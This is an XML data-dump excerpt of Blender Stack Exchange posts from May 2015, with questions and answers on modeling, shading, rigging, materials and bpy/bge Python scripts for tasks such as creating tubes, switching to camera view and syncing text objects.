  <row Id="30631" PostTypeId="2" ParentId="30621" CreationDate="2015-05-08T21:06:51.823" Score="4" Body="&lt;p&gt;You can set selection to be with the left mouse button :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;got to &lt;strong&gt;File&lt;/strong&gt;➝&lt;strong&gt;User Preferences&lt;/strong&gt;➝&lt;strong&gt;Input&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;in &lt;strong&gt;Select with&lt;/strong&gt; click &lt;strong&gt;Left&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;also you can search and reassign all what is related to the right mouse button &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JuUVQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-08T21:06:51.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30632" PostTypeId="2" ParentId="30620" CreationDate="2015-05-08T21:11:25.423" Score="1" Body="&lt;p&gt;It may be not an exact 100% answer, but i've managed to find a workaround:&#xA;I've recreated Head nr 2 by duplicating Head nr 1 and deleting all polys besides these near edge loop. Then, from Head nr 2 i took all polygons besides these around edge loop and connected it to duplicate of Head nr 1. This way, the edgeloop remained from Head nr 1, and the rest is from Head nr 2 - which gave me a Head nr 2 without problematic edgeloop. &#xA;Problem solved, but i still don't know why it could not transfer weights properly.&lt;/p&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2015-05-08T21:11:25.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30633" PostTypeId="2" ParentId="30557" CreationDate="2015-05-08T21:56:19.407" Score="1" Body="&lt;p&gt;The UV pass display the UV coordinate from the UVmap so if an object don't have one they will be black, to solve this you have to unwrap these objects and render again.&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-08T21:56:19.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30634" PostTypeId="2" ParentId="29068" CreationDate="2015-05-08T22:20:07.073" Score="1" Body="&lt;p&gt;Have you thought about displaying only a single text object, and when you replace the new text and or new number string in script use a concatenated string variable which contains the single string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know Java; but, the concept would be A$=&quot;Ammo&quot;, B$=numeric $tring (Ammo Count) and DisplayText$= &quot;a$+&quot; :&quot;+B$.  Something like that?&#xA;Then you'd only have to deal with the Font size, vs game engine Font size, and your single Text Object would be variable DisplayText$ which would look like &quot;Ammo :0&quot;  (Of course replacing my simple variables with your own, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said, I don't know Blender Script language, per se: so, don't know the string concatenator, could be the symbol &quot;&amp;amp;&quot; or semicolon &quot;;&quot; between the strings.&lt;/p&gt;&#xA;" OwnerUserId="14243" LastActivityDate="2015-05-08T22:20:07.073" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30635" PostTypeId="2" ParentId="30629" CreationDate="2015-05-08T22:27:21.707" Score="4" Body="&lt;p&gt;You can use the Set Alpha node found in : &lt;strong&gt;Add&lt;/strong&gt;➝&lt;strong&gt;Converter&lt;/strong&gt;➝&lt;strong&gt;Set Alpha&lt;/strong&gt; use the &lt;strong&gt;mask&lt;/strong&gt; node  output as an Alpha input for the Set &lt;strong&gt;Alpha node&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DSs5F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-08T22:27:21.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30636" PostTypeId="2" ParentId="30511" CreationDate="2015-05-08T23:50:09.283" Score="3" Body="&lt;p&gt;You have to change the &lt;strong&gt;&lt;em&gt;layer&lt;/em&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;em&gt;priority&lt;/em&gt;&lt;/strong&gt; of one of the action actuators :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DR9wU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of having two actuators and activating and deactivating the other one, you can use just one and switch the used action :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;sens = cont.sensors['Move']&#xA;if sens.positive:&#xA;    if own['Y Axis'] == 1:&#xA;        cont.actuators['Axis'].action = 'Action1'&#xA;        cont.activate(cont.actuators['Axis'])&#xA;    else:&#xA;        cont.actuators['Axis'].action = 'Action2'&#xA;        cont.activate(cont.actuators['Axis'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-08T23:50:09.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30639" PostTypeId="1" CreationDate="2015-05-09T05:08:09.530" Score="5" ViewCount="207" Body="&lt;p&gt;I don't know much of python, and I would like to make my character detect the stairs and look down (2 degrees in x axis) when upon it. I've tried using a Near sensor in the stairs (like a beacon) sending the Message &quot;stairs&quot; and make my character detect the message, activating the Motion Actuator to rotate in X. The problem is when the Message is detected by the character, he starts an endless rotation - a loop. I guess he is rotating 2 degrees again and again. How can I make him look down while upon the stairs and get back to the default rotation (0 degrees) afterwards? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14250" LastActivityDate="2015-07-12T16:45:53.917" Title="How to make the chacter detect stairs and react to it" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30640" PostTypeId="2" ParentId="5898" CreationDate="2015-05-09T07:24:47.977" Score="15" Body="&lt;p&gt;i wrote my own script, as there is no way to do it with blender API direcly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def cylinder_between(x1, y1, z1, x2, y2, z2, r):&#xA;&#xA;  dx = x2 - x1&#xA;  dy = y2 - y1&#xA;  dz = z2 - z1    &#xA;  dist = math.sqrt(dx**2 + dy**2 + dz**2)&#xA;&#xA;  bpy.ops.mesh.primitive_cylinder_add(&#xA;      radius = r, &#xA;      depth = dist,&#xA;      location = (dx/2 + x1, dy/2 + y1, dz/2 + z1)   &#xA;  ) &#xA;&#xA;  phi = math.atan2(dy, dx) &#xA;  theta = math.acos(dz/dist) &#xA;&#xA;  bpy.context.object.rotation_euler[1] = theta &#xA;  bpy.context.object.rotation_euler[2] = phi &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;enjoy :-)&lt;/p&gt;&#xA;" OwnerUserId="14252" LastEditorUserId="14252" LastEditDate="2015-06-13T08:28:18.363" LastActivityDate="2015-06-13T08:28:18.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30641" PostTypeId="2" ParentId="30626" CreationDate="2015-05-09T09:12:22.970" Score="4" Body="&lt;p&gt;The calculations belong in the material not the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nodes for a texture define the colour for every available point as if it was an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture node in a material requests the colour from the texture at a specific point. The vector input to the texture node defines the point requested from the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rpuOl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-09T09:12:22.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30642" PostTypeId="1" CreationDate="2015-05-09T11:23:37.737" Score="2" ViewCount="1100" Body="&lt;p&gt;I am trying to parent the top of a bone to the bottom of another bone (see image) but when parenting  it will parent to the wrong end,&lt;img src=&quot;https://i.stack.imgur.com/0eiR4.png&quot; alt=&quot;enter image description here&quot;&gt; I have tried but was unable to find a way to set it to the other end how can this be fixed?&lt;/p&gt;&#xA;" OwnerUserId="14254" LastActivityDate="2015-05-09T11:23:37.737" Title="Bone parents to the wrong end" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30643" PostTypeId="1" AcceptedAnswerId="30645" CreationDate="2015-05-09T12:04:06.270" Score="9" ViewCount="4516" Body="&lt;p&gt;Is there a way to programmatically achieve the same thing as pressing the &lt;code&gt;0&lt;/code&gt; key the numpad?&lt;/p&gt;&#xA;" OwnerUserId="1989" LastActivityDate="2020-09-01T20:43:38.013" Title="How to toggle to camera view via python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;camera&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30644" PostTypeId="2" ParentId="5898" CreationDate="2015-05-09T12:04:31.523" Score="3" Body="&lt;h3&gt;UI&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;A really fast way to do this is to make an &lt;em&gt;Mesh object&lt;/em&gt; which is based on an edge-net (just edges), then in Object mode press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; to convert to Curve, then use a bevel object or increase the bevel_depth + bevel_resolution&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;python&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;here's how to generate one &lt;em&gt;Curve object&lt;/em&gt;, to hold all segments. It works on the idea that you have a &lt;em&gt;Mesh object&lt;/em&gt; called 'EdgesObject', which just contains a collection of edges. Then you run the script and it will generate a new &lt;em&gt;Curve object&lt;/em&gt; called 'TubesCurve'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gaQmj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;curves = bpy.data.curves&#xA;objects = bpy.data.objects&#xA;scene = bpy.context.scene&#xA;&#xA;obj_name = &quot;EdgesObject&quot;&#xA;obj = objects[obj_name]&#xA;&#xA;def make_tubes(obj, bevel_depth=0.1, resolution=3):&#xA;&#xA;    mesh = obj.data&#xA;    curve_name = 'TubesCurve'&#xA;&#xA;    # if exists, pick up else generate a new one&#xA;    cu = curves.get(curve_name, curves.new(name=curve_name, type='CURVE'))&#xA;    cu.dimensions = '3D'&#xA;    cu.fill_mode = 'FULL'&#xA;    cu.bevel_depth = bevel_depth&#xA;    cu.bevel_resolution = resolution&#xA;    cu_obj = objects.get(curve_name, objects.new(curve_name, cu))&#xA;&#xA;    # break down existing splines entirely.&#xA;    if cu.splines:&#xA;        cu.splines.clear()&#xA;&#xA;    # and rebuild&#xA;    verts = mesh.vertices&#xA;    for e in mesh.edges:&#xA;        idx_v1, idx_v2 = e.vertices&#xA;        v0, v1 = verts[idx_v1].co, verts[idx_v2].co&#xA;        full_flat = [v0[0], v0[1], v0[2], 0.0, v1[0], v1[1], v1[2], 0.0]&#xA;&#xA;        # each spline has a default first coordinate but we need two.&#xA;        segment = cu.splines.new('POLY')&#xA;        segment.points.add(1)&#xA;        segment.points.foreach_set('co', full_flat)&#xA;&#xA;    if not curve_name in scene.objects:&#xA;        scene.objects.link(cu_obj)  &#xA;&#xA;&#xA;make_tubes(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script will reuse an existing instance of the 'TubesCurve' object if the script is run repeatedly.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;cons&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you need the cylinders to be capped, then it is necessary to use a bevel object, else that option (may 2015) is not available).&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-09T12:52:42.880" LastActivityDate="2015-05-09T12:52:42.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30645" PostTypeId="2" ParentId="30643" CreationDate="2015-05-09T12:12:18.487" Score="7" Body="&lt;p&gt;The operator for switching the 3D view which is associated with numpad keys is &lt;code&gt;view3d.viewnumpad()&lt;/code&gt;.  You have to be in the right context (3d_view) to use it and select which view you want to set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        override = bpy.context.copy()&#xA;        override['area'] = area&#xA;        bpy.ops.view3d.viewnumpad(override, type = 'CAMERA')&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another way, without the operator would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        area.spaces[0].region_3d.view_perspective = 'CAMERA'&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is equivalent to: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;area = next(area for area in bpy.context.screen.areas if area.type == 'VIEW_3D')&#xA;area.spaces[0].region_3d.view_perspective = 'CAMERA'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other options are  &lt;code&gt;[‘PERSP’, ‘ORTHO’, ‘CAMERA’]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="36324" LastEditDate="2017-03-02T10:44:48.473" LastActivityDate="2017-03-02T10:44:48.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30646" PostTypeId="1" CreationDate="2015-05-09T12:53:42.350" Score="1" ViewCount="171" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TbUMr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent a lot of time in Maya. I really love Blender so far! But its snapping tools are a pain in the butt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a project to learn animation, I made a cylinder with cubes extracted and separated from it. I want the cubes to all recede into the holes on the cylinder until all faces line up perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Maya this is super easy. Hold the D and V key, snap the origin to a vertex, then hold the V key to snap the object's origin to another vertex. It takes 2 seconds. In Maya I can also set the orientation of the origin to any selected face's normal direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would LOVE LOVE LOVE an easier way to deal with object origins and snapping in Blender!!! And is there a way to set origin orientation of a whole object to a selected face's normal direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help with this would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allen&lt;/p&gt;&#xA;" OwnerUserId="13400" LastEditorUserId="13400" LastEditDate="2015-05-09T13:12:54.610" LastActivityDate="2015-05-09T13:12:54.610" Title="Trouble with Blender's snapping tools and origin orientation" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30648" PostTypeId="1" AcceptedAnswerId="30771" CreationDate="2015-05-09T16:22:49.730" Score="2" ViewCount="1249" Body="&lt;p&gt;I'm trying to cut a hole in a mesh to create torpedo tubes on a spacecraft, and am running into a bit of trouble. I can get the hole cut out just fine using Knife Project, the problem, however, is that it completely screws with the shading of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the target and pattern meshes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c5DDF.png&quot; alt=&quot;Meshes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a detail of the pattern that creates the shape of the outer tube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rdOG7.png&quot; alt=&quot;Pattern&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the target mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NFZGT.png&quot; alt=&quot;Target with pattern superimposed&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, as I said I can cut the hole in the target mesh just fine. The problem is, I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/31N22.png&quot; alt=&quot;Result&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BTktH.png&quot; alt=&quot;Result showing polys&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, cutting the hole in the mesh throws off the smoothing of the mesh, leading to some odd shading which is just unacceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to do this with as few extra polys as possible.&lt;/p&gt;&#xA;" OwnerUserId="7576" LastActivityDate="2015-05-13T22:58:15.490" Title="Preserving shading after cutting a hole" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30650" PostTypeId="1" CreationDate="2015-05-09T16:28:29.773" Score="2" ViewCount="1291" Body="&lt;p&gt;I have created a 3D Model in Cinema 4D and exported it to .obj (and a .mtl-file) with Riptide Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I import it in Blender (2.74) I cannot see the textures or materials. They are visible in the scene browser (Scrennshot) but not on the object. They also don't appear when I switch to other viewport shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to export the model to a .JSON-Object for displaying it with webGL in a browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to make the textures and materials appear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/81Ylh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14256" LastActivityDate="2015-09-05T11:56:35.357" Title="Imported .obj - textures gone" Tags="&lt;export&gt;&lt;import&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30653" PostTypeId="2" ParentId="30650" CreationDate="2015-05-09T17:39:52.970" Score="2" Body="&lt;p&gt;It is most likely that the view mode of 3d viewport is set to solid shading, and should be set to &lt;em&gt;Textured&lt;/em&gt; shading instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sTl8X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-09T17:46:33.593" LastActivityDate="2015-05-09T17:46:33.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30654" PostTypeId="1" CreationDate="2015-05-09T18:27:02.263" Score="2" ViewCount="67" Body="&lt;p&gt;Heres a picture. im making a body, and it seems to have flash in the middle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/afzmp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-05-09T22:05:13.410" Title="Why is mirror and subdiving co-acting wierdly?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-05-09T22:05:18.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="30655" PostTypeId="1" AcceptedAnswerId="30660" CreationDate="2015-05-09T19:04:05.240" Score="4" ViewCount="4203" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cgPnL.png&quot; alt=&quot;enter image description here&quot;&gt;When I try to increase the preview, sculpt, or render, it does not work. How do I fix it to make them increase? I already have the subdivision surface in the modifier stack.&lt;/p&gt;&#xA;" OwnerUserId="13828" LastEditorUserId="13828" LastEditDate="2015-05-09T19:32:28.867" LastActivityDate="2015-05-09T20:46:12.680" Title="Multiresolution modifier not working" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30656" PostTypeId="2" ParentId="30530" CreationDate="2015-05-09T19:10:26.623" Score="3" Body="&lt;p&gt;Use File-Import-Collada (Default)(.dae).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xsqvg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-09T19:10:26.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30657" PostTypeId="2" ParentId="30654" CreationDate="2015-05-09T19:31:42.210" Score="2" Body="&lt;p&gt;In order to get smooth surface transition with Mirror and Subdivision modifiers you have to remove the internal faces where the mirrored mesh connects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1vXku.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-09T19:31:42.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30658" PostTypeId="1" AcceptedAnswerId="30659" CreationDate="2015-05-09T19:47:52.420" Score="5" ViewCount="716" Body="&lt;p&gt;Is it possible to link text objects in such a manner, that changing the text content on one object will automatically also change the text of another text object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, I do not want to link any other properties of those two objects (like fonts for example), only the source text.&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2019-10-19T19:18:26.007" Title="Link the text content of two text objects" Tags="&lt;text-object&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30659" PostTypeId="2" ParentId="30658" CreationDate="2015-05-09T20:24:19.847" Score="6" Body="&lt;p&gt;this a script that uses the scene update handler to synchronize two text object content :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the two text objects only&lt;/li&gt;&#xA;&lt;li&gt;copy and paste the script and click run&lt;/li&gt;&#xA;&lt;li&gt;once you edit one of the text objects the other one will get updated accordingly &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj1 = bpy.context.selected_objects[0].name&#xA;obj2 = bpy.context.selected_objects[1].name&#xA;&#xA;def link_text_objects(scene):&#xA;    obj = bpy.context.active_object&#xA;    if obj.type == 'FONT':&#xA;        if obj.name == obj1 : &#xA;            scene.objects[obj2].data.body = obj.data.body&#xA;&#xA;        else :&#xA;            scene.objects[obj1].data.body = obj.data.body&#xA;&#xA;bpy.app.handlers.scene_update_pre.append(link_text_objects)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-09T20:24:19.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30660" PostTypeId="2" ParentId="30655" CreationDate="2015-05-09T20:46:12.680" Score="6" Body="&lt;p&gt;The multires modifier doesn't allow you to subdivide while in edit mode. Try switching to a different mode (e.g. object mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can still edit the base mesh in edit mode after subdividing (your changes will even affect the higher subdivisions), but you won't be able to see the affect on the higher poly mesh in real time.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-09T20:46:12.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30661" PostTypeId="2" ParentId="30648" CreationDate="2015-05-09T21:14:58.817" Score="5" Body="&lt;p&gt;Prior to cutting the new geometry the transitions are smooth because the shading is a function of the average face normals connected to each vertex. Because each of those adjacent face normals is different as you go around the surface of the object, the transition is relatively smooth. It's a cheap but effective trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you start cutting into a face, you get new geometry which has a number of vertices which are surrounded by faces which have the same face normals, therefore the shading is 'flat' on those sections. The transition from surrounding faces onto that flat area is also abrupt, and more prominent with transitions between quads and triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read Blender &lt;a href=&quot;http://wiki.blender.org/index.php/User:Mont29/Foundation/Split_Vertex_Normals/Custom_Split_Normals_Manual&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs about custom normals&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;possible solutions&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A way out of that is to carefully adjust the positions of the new vertices such that they follow the inferred curvature, this doesn't have to be exact. as long as you get away from the faces all having the same normals on that spot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fUps3.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;The dark area just below the blue arrow indicates the flow that your geometry would need to have (seen from the side of that edited face). If you can move the internal vertices to match the curvature you'll get reasonable smoothing. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;or adjust the vertex normals to follow the curvature, but (May 2015) this is not exposed to the UI, but can be scripted. Manual changes  might be overwritten by operations such as remove doubles / recalc normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AbgIB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/manual/modifiers/modify/normal_edit.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Normal Edit modifier&lt;/a&gt;.  It takes a vertex group, and an object, and modifies the normals of the vertices in the vertex group to follow as if they eminated from the center of the object (radial) or directionally if you use a mesh object to help guide the normals.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Blender's &lt;em&gt;Proportional Editing&lt;/em&gt; feature can help get nice curvature, but you'll have to experiment with it.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-10T08:03:28.357" LastActivityDate="2015-05-10T08:03:28.357" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30662" PostTypeId="1" AcceptedAnswerId="30665" CreationDate="2015-05-09T21:34:48.157" Score="1" ViewCount="5869" Body="&lt;p&gt;My ultimate goal is to have a arm that can move in Unity. I have made an arm in blender and have added bones to that arm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I connect the bones to the arm? Is there an easy shortcut to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very new to blender, so any help would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="14259" LastActivityDate="2015-05-09T22:09:48.570" Title="Blender Bones: How to Join Bones with Objects" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30665" PostTypeId="2" ParentId="30662" CreationDate="2015-05-09T22:09:48.570" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;In Blender Select mesh. Then Select armature. Both are selected.&lt;/li&gt;&#xA;&lt;li&gt;Control-P  will produce a dialog similar to the image below&lt;/li&gt;&#xA;&lt;li&gt;Consider a blender tutorial video on some well known video site such as YT&lt;/li&gt;&#xA;&lt;li&gt;In the past some (new to Blender) questions are cast away.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z7ANu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-05-09T22:09:48.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30666" PostTypeId="1" AcceptedAnswerId="30680" CreationDate="2015-05-09T22:12:16.033" Score="2" ViewCount="124" Body="&lt;p&gt;What is this Shape Key Icon referencing in the Outliner?  Is it the name for the Shape Key data set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ud4wC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14184" LastActivityDate="2015-05-10T10:13:47.763" Title="What is this Shape Key Icon referencing?" Tags="&lt;shape-keys&gt;&lt;outliner&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30667" PostTypeId="1" CreationDate="2015-05-09T22:35:21.303" Score="1" ViewCount="2507" Body="&lt;p&gt;I tried to join these two boots and the child becomes dark?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DaDaE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I separated them from the legs and then remodeled them, flipped the boot to the other side, and reattached them.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-05-09T23:13:17.563" LastActivityDate="2015-05-09T23:15:32.217" Title="Object is darker after joining it with another object just like it" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
